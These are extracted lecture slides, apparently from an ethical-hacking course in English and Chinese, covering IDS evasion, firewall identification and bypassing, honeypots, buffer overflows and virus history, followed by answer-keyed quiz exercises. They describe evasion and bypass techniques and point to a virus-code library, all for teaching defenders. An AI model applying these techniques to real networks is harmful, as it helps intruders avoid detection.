within the blizzard of 
messages, beeps, and 
alerts generated. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 Evasion is another 

effective technique. It 
occurs when an IDS 
discards the packet that 
is accepted by the host it 
is addressed to. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 As an example, TCP 

segments marked with a 
SYN flag might also 
include data. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 Because this is an 

infrequent occurrence, 
an IDS might ignore the 
contents of these 
packets, thereby allowing 
the packets to go 
undetected. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 Session splicing works 

by delivering the payload 
over multiple packets, 
which defeats simple 
pattern matching without 
session reconstruction. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 By breaking up the 

payload over many 
different packets, many 
IDS systems will fail to 
detect its true purpose. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 By sending the packets 

out of order and playing 
with fragment IDs, 
reassembly can become 
much more complicated. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 If the IDS cannot keep all 

fragments in memory for 
reassembling, an attacker 
could slip by. 
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IDS (cont’d)   
IDS Evasion Tools   
 Several tools are 

available that can be used 
to evade IDS systems. 
 Most of these tools 

exploit one or more of the 
techniques discussed in 
the previous section. 
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IDS (cont’d)   
 Some of the better known 

tools are discussed in the 
following: 
 Sticks 
 ADMutate 
 Mendax 
 NIDSbench 
 Nessus 
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IDS (cont’d)   
IDS Evasion Tools (cont’d)   
 IDS systems are not perfect 

and cannot be expected to 
catch all attacks. 
 Even when sensors are in the 

right location to detect attacks, 
a variety of tools and 
techniques are available to 
avoid detection. 
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IDS (cont’d)   

 For IDS systems to be 
effective, the individuals 
responsible for them must 
continually monitor and 
investigate network activity 
to stay on top of changes in 
hacking tools and 
techniques. 
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Firewalls 

 Firewalls are hardware or 
software devices designed 
to limit or filter traffic 
between a trusted and 
untrusted network. 

Firewalls are used to 
control traffic and limit 
specific activity. 
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Firewalls (cont’d)   
 Firewalls examine traffic, 

limit flow, and reject traffic 
that they deem suspect. 
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Firewalls (cont’d)   
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Firewalls (cont’d)   
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Firewalls (cont’d)   
 Firewalls Types 
 Firewalls act as a choke 

point to limit and inspect 
traffic as it enters and 
exits the network. 
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Firewalls (cont’d)   
 Firewalls Types (cont’d)   

 Packet filters 
 Stateful inspection 

 Although a number of 
variations or types of 
firewalls exist, there are 
two basic designs: 
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Firewalls (cont’d)   
 NAT 
RFC 1918 defines the 

three ranges of private IP 
addresses as 
 192.168.0.0–192.168.255.255 
 172.16.0.0–172.31.255.255 
 10.0.0.0–10.255.255.255 
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RFC 1918 Private Address Space 
 一個完整的Class A網路 

 172.16.0.0 ~ 172.31.255.255 

 192.168.0.0 ~ 192.168.255.255 

 10.0.0.0 ~ 10.255.255.255 
16個連續的Class B網路 

 256個連續的Class C網路 

Firewalls (cont’d)   
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Firewalls (cont’d)   
 NAT (cont’d)   
NAT enables a firewall or 

router to act as an agent 
between the Internet and 
the local network. 
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Firewalls (cont’d)   
 NAT (cont’d)   
The firewall or router enables 

a range of private addresses 
to be used inside the local 
network, whereas only a 
single unique IP address is 
required to represent this 
entire group of computers to 
the external world. 
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Firewalls (cont’d)   
 NAT (cont’d)   
NAT can also be 

problematic as packets 
are rewritten. 
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Firewalls (cont’d)   
 NAT (cont’d)   
Any application-level 

protocol such as IPSec 
that requires the use of 
true IP addresses might be 
harder to implement in a 
NAT’ed environment. 
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Firewalls (cont’d)   
 Packet Filters 
Packet filtering is 

configured through access 
control lists (ACL). 
ACLs enable rule sets to 

be built that will allow or 
block traffic based on 
header information. 
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Firewalls (cont’d)   
 Packet Filters (cont’d)   
A sample ACL with both 

permit and deny statements 
is shown in the following: 

access-list 111 permit tcp 192.168.13.0 0.0.0.255 any eq www 
access-list 111 permit tcp 192.168.13.0 0.0.0.255 any eq ftp 
access-list 111 deny tcp any any eq telnet 
 
interface fa0/1 
ip access-group 111 in 
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Firewalls (cont’d)   
 Packet Filters (cont’d)   
 Packet Filters can filter on 

IP addresses but cannot 
prevent spoofing. They can 
also block specific ports 
and protocols but cannot 
inspect the payload of the 
packet. 
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Firewalls (cont’d)   
 Packet Filters (cont’d)   
 Most importantly, packet 

filters cannot keep up 
with state. 
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Firewalls (cont’d)   
 Packet Filters (cont’d)   
 This inability to keep up 

with state is a critical 
vulnerability, as it means 
that packet filters cannot 
tell if a connection started 
inside or outside the 
organization. 
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Firewalls (cont’d)   
 Packet Filters (cont’d)   
 A rejected packet will 

generate an ICMP Type 3 
Code 13, Communication 
Administratively Prohibited. 
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Firewalls (cont’d)   
 Packet Filters (cont’d)   
 These messages are 

usually sent from a 
packet filtering router 
and can indicate that an 
ACL is blocking traffic. 
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Firewalls (cont’d)   
 Packet Filters (cont’d)   
 For example, the 

organization allows 
outgoing initiated port 21 
FTP traffic but blocks  
inbound initiated FTP 
traffic. 
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Firewalls (cont’d)   
Fig. 10.4 Bypassing packet filters 
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Firewalls (cont’d)   

An ICMP Type 3 Code 13 
denotes that traffic is being 
filtered by the router, 
whereas an ICMP Type 3 
Code 3 indicates that client 
is reporting the port is 
closed. 

EXAM ALERT 
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Firewalls (cont’d)   

Filtering data on the source 
port of a packet isn’t secure 
because a skilled hacker 
can easily change a source 
port on a packet, which 
could then pass through 
the filter. 

EXAM ALERT 
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Firewalls (cont’d)   
 Stateful Inspection 
 Stateful inspection 

firewalls are closely 
related to packet filters, 
except that they have the 
capability to track the 
status of a connection. 
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
 For example, if an ACK 

packet arrives at the firewall 
that claims to be from an 
established connection, the 
stateful firewall would deny 
it if it did not have a record 
of the three-way handshake 
ever taking place. 
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Firewalls (cont’d)   

 Proxy servers are 
another option for the 
defense of the network. 
 Proxy servers sit between 

a client and a web server 
and communicate with the 
server on behalf of the 
client. 
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
 Proxy servers reduce 

traffic and increase 
security by presenting a 
single IP address to the 
Internet and prevent 
direct access into or out 
of the network. 
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
 Types of proxies include 
Application-level proxy 
Circuit-level proxy 
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
 In reality, most 

organizations use a 
combination of firewall 
technologies, such as 
packet filters, proxy 
servers, and stateful 
inspection. 
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
 Used together with a 

good network design, 
firewalls can be quite 
effective. The most 
commonly used design 
is that of a demilitarized 
zone (DMZ). 
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所 謂 非 軍 事 管 制 區 (DMZ, 
DeMilitarized Zone)又稱為週

邊地帶(Perimeter Network)，
主要用來放置企業網路中一些

需要開放給計企業外部用戶存

取的資源，如Web主機、FTP
主機與e-mail主機等設備。 

Firewalls (cont’d)   
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防火牆網路架構─3-Homed架構 
3-Homed架構的特點是安全

性較防禦主機架構好，管理

也較方便。 

Web主機、 
FTP主機或 

電子郵件主機、 

Firewalls (cont’d)   
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多層次架構的特點是安全性

較高，且管理也較有彈性，

但成本高。 

Firewalls (cont’d)   
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
 Servers deployed in the 

DMZ need to be hardened 
and made more secure 
than the average internal 
computer. 
 These systems are 

called bastion hosts. 
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
 Some common designs 

used to secure networks 
are shown in Table 10.3. 
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Firewalls (cont’d)   
 Stateful Inspection (cont’d)   
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Firewalls (cont’d)   
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Firewalls (cont’d)   
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Firewalls (cont’d)   
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Firewalls (cont’d)   
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Firewalls (cont’d)   
Stateful Multilayer Inspection 

Firewalls 
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 Identifying Firewalls 
 The three primary 

methods of identification 
include the following: 

Firewalls (cont’d)   

Port scanning 
Firewalking 
Banner grabbing 



102 

 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 Port scanning is one of the 
most popular tools used to 
identify firewalls and to 
attempt to determine the 
ruleset. 

 Many firewalls have specific 
ports; open knowledge of 
this can help you identify it. 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 Traceroute can also be a 
useful tool. When used 
with Linux, traceroute has 
the –I option.  
 The –I option uses ICMP 

packets instead of UDP 
packets. 



104 

 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 Hping is another useful 
tool for finding firewalls 
and identifying internal 
clients.  
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 Hping is especially 
useful because it allows 
you to do the same kind of 
testing; not only can it use 
ICMP and UDP, but it can 
also use TCP. 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 Hping can also 

Perform idle scanning 
Test firewall rules 
Test IDSs 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 Firewalking is the next 
firewall enumeration tool. 
 Firewalk is a firewall 

discovery tool that works 
by crafting packets with a 
TTL value set to expire 
one hop past the firewall. 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 To use firewalk, you need 
the IP address of the last 
known gateway before the 
firewall and the IP address 
of a host located behind 
the firewall. 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 If the administrator 
blocks ICMP packets from 
leaving the network, the 
tool becomes ineffective. 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 Banner grabbing is one 
of the most well-known 
and well-used types of 
enumeration. 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 The information 
generated through banner 
grabbing can enhance the 
hacker’s effort to further 
compromise the targeted 
network. 
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 Identifying Firewalls (cont’d)   

Firewalls (cont’d)   

 The three main services 
that send out banners 
include FTP, Telnet, and 
Web services. 
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 Bypassing Firewalls 

Firewalls (cont’d)   

 Firewalls can be 
defeated because of 
misconfiguration or 
liberal ACLs, but many 
times, it’s simply easer to 
go around the firewall 
than through it. 



114 

Firewalls (cont’d)   
 After all, firewalls cannot prevent 

any of the following attacks: 
Insider misuse or internal 

hacking 
Attacks from secondary 

connections 
Social engineering 
Physical security 
Poor policy or misconfiguration 
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 Bypassing Firewalls (cont’d)   

Firewalls (cont’d)   

 Trivial FTP (TFTP) can be 
another useful tool for 
hacking firewalls. 
 While scanning UDP ports, 

you will want to pay close 
attention to systems with 
port 69 open. 
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 Bypassing Firewalls (cont’d)   

Firewalls (cont’d)   

 Cisco routers allow the 
use of TFTP in 
conjunction with network 
servers to read and write 
configuration files. 
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 Bypassing Firewalls (cont’d)   

Firewalls (cont’d)   
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 Bypassing Firewalls (cont’d)   

Firewalls (cont’d)   
Fig. 10.6 Router password crack 
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Firewalls (cont’d)   
Fig. 10.7 Using Netcat to tunnel 

out through a firewall. 
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Honeypots 

 Just as honey attracts 
bears, a honeypot is 
designed to attract hackers. 

 Honeypots have no 
production value. 
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Honeypots (cont’d)   
 Honeypot are set up 

specifically for the 
following purposes: 
 Providing advance 

warning of a real attack 
 Tracking the activity and 

keystrokes of an attacker 



123 

Honeypots (cont’d)   

 Increasing knowledge of 
how hackers attack 
systems 
 Luring the attacker away 

from the real network 
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Honeypots (cont’d)   
 A honeypot consists of a 

single computer that 
appears to be part of a 
network, but is actually 
isolated and protected. 

 Honeypots are configured 
to appear to hold 
information that would be 
of value to an attacker. 
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Honeypots (cont’d)   

 Honeypots can be more 
than one computer. When 
an entire network is 
designed around the 
principles, it is called a 
honeynet. 
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 A honeynet is two or more 
honeypots. The idea is to 
lure the hacker into 
attacking the honeypot 
without him knowing what 
it is. 

Honeypots (cont’d)   
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 The ethical hacker must 
be able to prevent the 
attacker from being able to 
use the honeypot as a 
launching point for attack 
and keep him jailed in the 
honeypot. 

Honeypots (cont’d)   
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 To help ensure that the 
hacker can’t access the 
internal network, 
honeypots can be placed 
in the DMZ or on their own 
segment of the network. 

Honeypots (cont’d)   
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Fig. 10.8 Two examples of 
honeypot placements 

Honeypots (cont’d)   
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Honeypots (cont’d)   

 A great resource for 
information about 
honeypots is “The 
Honeynet Project,” which 
can be found at 
www.honeynet.org. 
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Honeypots (cont’d)   
 This nonprofit group of 

security professionals has 
dedicated itself to studying 
the ways that honeypots can 
be used as a research and 
analysis tool to increase the 
ability for ethical hackers to 
defend against attacks. 
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Honeypots (cont’d)   

 Normally, only bastion 
hosts should be placed in 
the DMZ. A bastion host is 
a system that has been 
hardened to resist attack.  

NOTE 
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Honeypots (cont’d)   

 Because a bastion host 
set in the DMZ, it should 
be expected that it may 
potentially come under 
attack. 

NOTE (cont’d)   
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 Honeypots have the capability 
to capture everything a hacker 
does, including items such as 
network activity, the uploaded 
malware, chat communications 
with other hackers, and all 
typed commands. 

EXAM ALERT 

Honeypots (cont’d)   
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Honeypots (cont’d)   

 This capability allows 
security professionals to 
learn what the hackers are 
doing and how they are 
doing it. 

EXAM ALERT (cont’d)   



136 

Honeypots (cont’d)   
 Types of Honeypot 
 Honeypots can be both 

low and high interaction. 
 Low interaction honeypots 

work by emulating services 
and programs that would 
be found on an individual’s 
system. 
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Honeypots (cont’d)   

 If the attacker does 
something that the 
emulation does not 
expect, the honeypot will 
simply generate an error. 

 Types of Honeypot (cont’d)  
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Honeypots (cont’d)   

 High interaction systems 
are not a piece of 
software or product. 
 High interaction 

honeypots are an entire 
system or network of 
computers. 

 Types of Honeypot (cont’d)  
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Honeypots (cont’d)   

 High interaction 
honeypots rely on the 
border devices to control 
traffic so that attackers can 
get in, but outbound 
activity is tightly controlled. 

 Types of Honeypot (cont’d)  
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Honeypots (cont’d)   

 A variety of honeypot types 
are available; some are 
commercial products, and 
others are open source. 

 Types of Honeypot (cont’d)  
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Honeypots (cont’d)   

 Honeypots, such as LaBrea 
Tarpit, are examples of 
blackholes. These sticky 
honeypots are built explicitly to 
slow down or prevent malicious 
activity. LaBrea Tarpit can run 
on a Windows computer. 

NOTE 
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Honeypots (cont’d)   

 One of the biggest 
concerns is that the 
attacker might figure out 
that the honeypot is not a 
real target of interest and 
quickly turn his interest 
elsewhere. 

 Detecting Honeypot 
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Honeypots (cont’d)   
 Detecting Honeypot (cont’d)  
 Attackers can attempt to 

determine that a honeypot 
is not a real system by 
probing the services. As 
an example, an attacker 
might probe port 443 and 
see that it is open. 
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Honeypots (cont’d)   
 Detecting Honeypot (cont’d)  
 A low interaction 

honeypot might only 
report the port as open but 
not have the capability to 
complete the proper 
handshake process. 
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Honeypots (cont’d)   
 Detecting Honeypot (cont’d)  
 Some of the tools that 

can be used to probe 
honeypots include 
THC-Amap 
Send-safe Honeypot Hunter 
Nessus 
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Honeypots (cont’d)   

 Nessus has the capability 
to craft the proper SSL 
response so that it can 
probe services such as 
HTTP over SSL (HTTPS), 
SMTP over SSL (SMPTS), 
and IMAP over SSL (IMAPS). 
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Summary 
 An IDS plays a key role in 

that when properly tuned, it 
can help alert you to 
potential attacks. 

 As an ethical hacker, you 
might set up an IDS or try to 
figure out how to get around 
it during a penetration test. 
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Summary (cont’d)   

 Firewalls also help defend 
the network from attack. 
Firewalls can be stateful or 
stateless. 

 Firewalls are not perfect. 
One of the best ways to 
defeat them is by going 
around them. 
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Summary (cont’d)   

 Both honeypots and 
honeynets are a way to lure 
an attacker away from a 
real network and distract 
him with a decoy. 
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Summary (cont’d)   

 Although they can provide 
you with information about 
how hackers operate, they 
also must be watched to 
make sure that they are not 
used by the hacker as a 
launching point for 
additional attacks. 
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Your IDS is actively matching 
incoming packets against known 
attacks. Which of the following 
technologies is being used? 

Exercises 

A. Pattern matching 
B. Anomaly detection 
C. Protocol analysis 
D. Stateful inspection 
Ans: A 
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You have decided to set up Snort. 
You have been asked by a co-
worker what protocols it cannot 
check. 

Exercises 

A. TCP 
B. UDP 
C. IP 
D. IGMP 
Ans: D 
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Exercises 
How would you describe an 

attack in which an attacker 
attempts to deliver the payload 
over multiple packets for long 
periods of time? 
A. Evasion 
B. IP fragmentation 
C. Session slicing 
D. Session hijacking 
Ans: C 
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Exercises 

Ans: D 
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Exercises 
You are about to install Snort on 

a Windows computer. Which of 
the following must first be 
installed? 
A. LibPcap 
B. WinPcap 
C. IDSCenter 
D. ADmutate 
Ans: B 
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Exercises 

Ans: B 
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Exercises 

Which of the following can 
maintain a state table? 
A. Packet filters 
B. Proxy servers 
C. Honeypots 
D. Bastion hosts 
Ans: B 
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Exercises 

What does an ICMP type 3 
code 13 denote? 
A. Subnet mask request 
B. TTL failure 
C. Administratively prohibited 
D. Redirect 
Ans: C 
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Exercises 

Snort is a useful tool. Which of 
the following best describes 
Snort’s capabilities? 
A. Proxy, IDS, and sniffer 
B. IDS and sniffer 
C. IDS, packet logger, and sniffer 
D. Firewall, IDS, and sniffer 
Ans: C 
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Exercises 

Ans: D 
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Introduction  
Buffer overflows are a 
critical subject for the 
ethical hacker to review 
and understand. Many of 
the most successful 
attacks use a buffer 
overflow component. 
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Introduction (cont’d)  

If a program targeted for 
buffer overflow is already 
running with root or 
administrator privileges, the 
hacker doesn’t need to 
perform any type of privilege 
escalation technique. 
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Introduction (cont’d)  

Buffer overflow attacks 
have been used in code 
such as Code Red and the 
Sasser worm. 
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1980年代非常流行的一個軟體

漏洞概念 

緩衝區(buffer) 
–電腦記憶體中的一段特定區域，

用來儲存暫時的資料用 

–常見的緩衝區有stack(堆疊)與
heap(堆積) 

Buffer Overflows 
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緩衝區溢位(Buffer Overflow) 
–讓緩衝區資料塞爆，並且覆蓋

到其他的記憶體區域。 
 

Buffer Overflows (cont’d)   
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A A A A A A A B B B B B B 

X Y 

C C C C C C C C C C C B B 

X Y 

緩衝區溢位成因 
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#include <stdio.h> 
int main (int argc, char **argv) 
{ 
 char target[5]="1234"; 
 char attacker[11]="123456789A" 
 strcpy(target, attacker); 
 printf("%s \n", target); 
 return 0; 
} 

大家都喜歡用C程式當例子 
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• 下列都是會出問題的C函數 
–strcat() 
–strcpy() 
–sprintf() 
–Memmove() 
–Memcopy() 
–gets() 
–scanf() 

緩衝區溢位高風險函數 
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可以讓應用程式當機 
駭客可以執行惡意程式 

 

緩衝區溢位後，能作什麼? 

Buffer Overflows (cont’d)   
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Buffer Overflows (cont’d)   

兩種緩衝區溢位 

堆疊緩衝區溢位 
   (Stack Overflow) 
堆積緩衝區溢位 
  (Heap Overflow) 
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一種很重要的資料結構 
通常是存在於記憶體的最高位址 
堆疊長大的方式是從記憶體的高

位址往低位址長 
堆疊內的資料是後進先出(Last 

In First Out, LIFO) 

堆疊(Stack) 
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堆疊(續) 

堆疊的用途 

儲存使用者傳來的資訊 

儲存函數傳遞的參數 

儲存函數返回的位址 
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電腦的幾個重要暫存器(Register) 

堆疊(續) 

 EIP (Instruction Pointer)指
令暫存器: 指出電腦下一個指令

的位址。 
 EBP (Base Pointer)堆疊基底

暫存器: 指向前一組使用堆疊

的人的最後位址，等於新的使

用堆疊的起始位址。 
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電腦的幾個重要暫存器(續) 

堆疊(續) 

 ESP (Stack Pointer)堆疊暫存器:

指出堆疊的最高位址。 
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Buffer Overflows (cont’d)   
Common Buffer Overflow Attack 
 The Morries worm 
 Code Red worm 
 The SQL Slammer worm 
 MS Windows Printer Spooler 
 Apache 1.3.20 
 MS Outlook 5.01 
 Remote Procedure Call (RPC) 
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Buffer Overflows (cont’d)   

Common Buffer Overflow Attack 
 To get some idea of the amount 

of buffer overflows that have 
been discovered and to make 
sure that your programs are 
properly patched, take a few 
minutes to visit the up-to-date 
National Vulnerability Database. 
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Buffer Overflows (cont’d)   

Common Buffer Overflow Attack 
 It’s located at 

http://nvd.nist.gov. 
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緩衝區溢位攻擊防護 
不要讓緩衝區有溢位的機會 

Buffer Overflows (cont’d)   

不使用有問題的函數(如strcpy等) 
讓stack不能執行 
讓stack不能被不正常修改或蓋掉 
 Return Address Defender (RAD) 
 StackGuard 
 Immunix System 
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Viruses and Worms 

Viruses and worms are part 
of a larger category of 
malicious code or malware. 
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Viruses and Worms (cont’d)  

Viruses and worms are 
programs that can cause a 
wide range of damage from 
displaying messages to 
making programs work 
erratically or even destroying 
data or hard drives. 
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Viruses and Worms (cont’d)  

Spyware is considered 
another type of malicious 
software. 
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Viruses and Worms (cont’d)  

In many ways, spyware is 
similar to a Trojan, as most 
users don’t know that the 
program has been installed 
and it hides itself in an 
obscure location. 
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Viruses and Worms (cont’d)  

Viruses depend on people 
to spread them. Viruses 
that can spread without 
human intervention are 
known as worms. 
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Viruses and Worms (cont’d)  
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Viruses and Worms (cont’d)  

Viruses require human 
activity such as booting a 
computer, executing an 
autorun on a CD, or 
opening an email 
attachment. 
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Viruses and Worms (cont’d)  

There are three basic ways 
viruses propagate through 
the computer world: 
 Master boot record infection 
 File infection 
 Macro infection 
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Viruses and Worms (cont’d)  

Know the three primary types 
of virus attack mechanisms: 
master boot record, file 
infector, and macro infector. 

TIP 
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Viruses and Worms (cont’d)  

Viruses Payloads 
 Most virus writers want to 

avoid detection for as long 
as possible and might not 
have written the program 
to immediately destroy 
files. 
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Viruses and Worms (cont’d)  

Viruses Payloads (cont’d)  
 One way the virus writer 

can accomplish this is to 
place the virus code either 
at the beginning or end of 
the infected file. 
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Viruses and Worms (cont’d)  

Viruses Payloads (cont’d)  
 In general, all viruses can 

have a search routine and 
an infection routine. 
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Viruses and Worms (cont’d)  
Viruses Payloads (cont’d)  
 The search routine is 

responsible for locating new 
files, disk space, or RAM to 
infect. 

 The infection routine is 
responsible for copying the 
virus and attaching it to a 
suitable host. 



52 

Viruses and Worms (cont’d)  
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Viruses and Worms (cont’d)  
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Viruses and Worms (cont’d)  Viruses and Worms (cont’d)  

 Most viruses don’t stop here 
and also contain a payload. The 
purpose of the payload routine 
might be to erase the hard drive, 
displaying a message to the 
monitor, or possibly sending 
the virus to 50 people in your 
address book. 



55 

Viruses and Worms (cont’d)  

 Many viruses might also 
have an anti-detection 
routine. Its goal is to help 
make the virus more 
stealth like and avoid 
detection. 

Viruses Payloads (cont’d)  
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Viruses and Worms (cont’d)  

Viruses Payloads (cont’d)  
 Finally, there is the trigger 

routine. Its goal is to 
launch the payload at a 
given date and time.  
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Viruses and Worms (cont’d)  

Fig. 11.3 Viruses components 
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Viruses and Worms (cont’d)  
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Viruses and Worms (cont’d)  

Staog is considered the first 
Linux virus. 

Exam Alert 
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Viruses and Worms (cont’d)  

Well-Known Viruses 
 It is believed that most virus 

writers are young men in their 
teens or early twenties. 

 Although many have not been 
caught, others have and have 
had to pay the price in jail 
time and financial penalties. 
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Viruses and Worms (cont’d)  

 The Late 1980s 
May 13, 1988 (Friday the 13th), 

was the day that some people 
got to see the real danger of 
a computer virus. It was on 
that day that the Jerusalem 
virus destroyed files that 
were attempted to be run. 
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Viruses and Worms (cont’d)  

 The Late 1980s (cont’d)  
The first worm to be 

released on the Internet 
was the 1988 RTM worm. It 
was developed by Robert 
Morris and meant to be 
only a proof of concept. 
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Viruses and Worms (cont’d)  

 The Late 1980s (cont’d)  
The cost of the damage 

from the worm was 
estimated to be between 
10–100 million dollars. 
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Viruses and Worms (cont’d)  
 The Late 1980s (cont’d)  
Robert Morris was convicted 

of violating the computer 
Fraud and Abuse Act and 
sentenced to three years of 
probation, 400 hours of 
community service, a fine of 
$10,050 and the costs of his 
supervision. 
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Viruses and Worms (cont’d)  

 The Mid to Late 1990s 
By 1996, the first Windows 

95 virus was released, 
Win95Boza.  
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Viruses and Worms (cont’d)  
 The Mid to Late 1990s (cont’d)  
By 1999, this proved to be 

true with the mass infection 
of the Melissa macro virus. 
Melissa had all the traits of a 
hybrid worm and had the 
capability to spread itself 
rapidly through email. 
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Viruses and Worms (cont’d)  

 2000 and Beyond 
I Love You virus infected 

millions of computers 
virtually overnight using a 
Visual Basic script that 
targeted MS Office users 
in a method similar to 
Melissa. 
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Viruses and Worms (cont’d)  
 2000 and Beyond (cont’d)  
I Love You is also 

considered a hybrid worm. 
Opening the Visual Basic 
script (VBS) attachment 
would infect the victim’s 
computer. 
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Viruses and Worms (cont’d)  
 2000 and Beyond (cont’d)  
Worldwide damages are 

estimated to have reached 
$8.7 billion. 

Authorities traced the virus to 
a young Filipino computer 
student named Onel de 
Guzman. 
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Viruses and Worms (cont’d)  
 2000 and Beyond (cont’d)  
Although arrested, he was 

freed because the 
Philippines had no laws 
against hacking and 
spreading computer 
viruses. 
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
This led to the passage of 

the Philippines first 
hacking law, which 
carries a maximum three 
year jail term. 
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Viruses and Worms (cont’d)  

The best way to prevent 
macro viruses is by 
restricting macro playback 
within such programs as 
Word and Excel. 

NOTE 
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
The Code Red worm also 

surfaced in 2001 and went 
on to infect tens of 
thousands of systems 
running MS Windows NT 
and Windows 2000 server 
software. 
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
The Code Red worm 

exploited the .ida buffer 
overflow vulnerability. 
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
Code Red was written to 

attack the White House 
website, and because the 
creators of the virus used 
a hard-coded IP address. 
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
In the wake of September 

11, thousands of 
computers around the 
world were attacked by yet 
another piece of malicious 
code, Nimda. 
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Viruses and Worms (cont’d)  

The Nimda worm was 
considered advanced in the 
ways it could propagate itself. 
Nimda targets Windows IIS 
web servers that were 
vulnerable to the Unicode 
Web Traversal exploit. 
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
Once infected, Nimda 

would start scanning for 
other vulnerable servers 
running MS IIS software 
and then attempt to TFTP 
the payload up to them. 
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
2003 was the year of the 

Slammer worm.  
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Viruses and Worms (cont’d)  

 2000 and Beyond (cont’d)  
Slammer worm infected 

hundreds of thousands of 
computers in less than 
three hours and was the 
fastest spreading worm to 
date until the MyDoom 
worm was released in 2004. 
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Viruses and Worms (cont’d)  
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Viruses and Worms (cont’d)  

 Virus Tools 
Although most virus 

writers have escaped harsh 
criminal penalties, virus 
writing is not a profitable 
career. Virus creators tend 
to be: 
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Viruses and Worms (cont’d)  

 Virus Tools (cont’d)  
 Young male hackers 
 Disgruntled security 

specialists 
 Individuals who reside 

overseas 
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Viruses and Worms (cont’d)  

A computer virus is no 
different from any other 
computer program. The 
developer must have some 
knowledge of C 
programming, Visual Basic, 
a macro language, or 
assembly. 
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Viruses and Worms (cont’d)  

Without those skills, it is 
still possible to create a 
computer virus, but a tool 
or existing virus is usually 
required. 

 Virus Tools (cont’d)  
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Viruses and Worms (cont’d)  

 Virus Tools (cont’d)  
Virus writers can 

disassemble existing 
virus code and make 
subtle changes or 
download existing virus 
code. An example is 
shown in Fig. 11.4. 

http://vx.netlux.org/lib/ 
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Viruses and Worms (cont’d)  

 Preventing Viruses 
Prevention is better than a 

cure, everything should be 
checked before being used. 

Many sites will provide a 
MD5sum with their programs 
to give users an easy way to 
tell that no changes have been 
made. 
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Viruses and Worms (cont’d)  

 Preventing Viruses (cont’d)  
Email attachments should 

also always be checked. In 
a high security controlled 
environment, a sheep dip 
system can even be used. 
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Viruses and Worms (cont’d)  

 Preventing Viruses (cont’d)  
A sheep dip computer can 

be used to screen suspect 
programs and connects to 
a network only under 
controlled conditions. 
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Viruses and Worms (cont’d)  

 Preventing Viruses (cont’d)  
It can be used to further 

examine suspected files, 
incoming messages, and 
attachments.  
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Viruses and Worms (cont’d)  

 Preventing Viruses (cont’d)  
Overall, the best way to 

prevent viruses is by following 
an easy five-point plan. 
 Install antivirus software. 

 Keep the virus definitions 
up-to-date. 

 Use common sense when 
dealing with attachments. 
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Viruses and Worms (cont’d)  

 Preventing Viruses (cont’d)  

 Keep the system patched. 

 Avoid attachments if possible 
or send them as a PDF+. 

+註:PDF檔也不一定安全，因為也
有針對此類的Virus。 
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Viruses and Worms (cont’d)  

 Preventing Viruses (cont’d)  
 There are other things you 

can do, such as not using 
Microsoft Outlook. Although 
that might not always be a 
viable option, just remember 
that most viruses target 
Outlook. 
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Viruses and Worms (cont’d)  

Although virus prevention is 
good practice, there is still the 
possibility that your system 
might become infected with a 
virus. 

In general, the only way to 
protect your data from viruses 
is to maintain current copies 
of your data. 
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Viruses and Worms (cont’d)  

 Antivirus 
A number of antivirus products 

are on the market, including 
 Norton AntiVirus 
 McAfee VirusScan 
 Trend Micro PC-cillin 
 Sophos Antivirus 
 NOD32 Antivirus 
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Viruses and Worms (cont’d)  
Antivirus programs can use one 

or more techniques to check 
files and applications for viruses. 
These techniques include 
 Signature scanning 
 Heuristic scanning 
 Integrity checking 
 Activity blocking 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
Signature scanning 

antivirus programs work 
in a fashion similar to 
Intrusion Detection 
Systems (IDS) pattern 
matching systems. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
Signature scanning 

antivirus software looks 
at the beginning and end 
of executable files for 
known virus signatures. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
Signatures are nothing 

more than a series of 
bytes found in the virus’s 
code. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
 Heuristic scanning 

antivirus software are 
designed for examining 
computer files for 
irregular or unusual 
instructions. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
 For example, If the word 

processor were to attempt 
to format the C: drive, this 
is something that heuristics 
would quickly identify, as 
that’s not the usual activity 
of a word processor. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
 In reality, antivirus vendors 

must strike a balance with 
heuristic scanning, as they 
don’t want to produce too 
many false positives or 
false negatives. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
 Integrity checking works 

by building a database of 
checksums or hashed 
values. These values are 
saved in a file. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  

 Periodically, new scans 
occur, and the results are 
compared to the stored 
results. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
 For example, the MD5sum of 

Nmap 3.1 is 
d6579d0d904034d51b4985fa2
764060e. Any change to the 
Nmap program would change 
this hashed value and make 
it easy for an integrity 
checker to detect. 
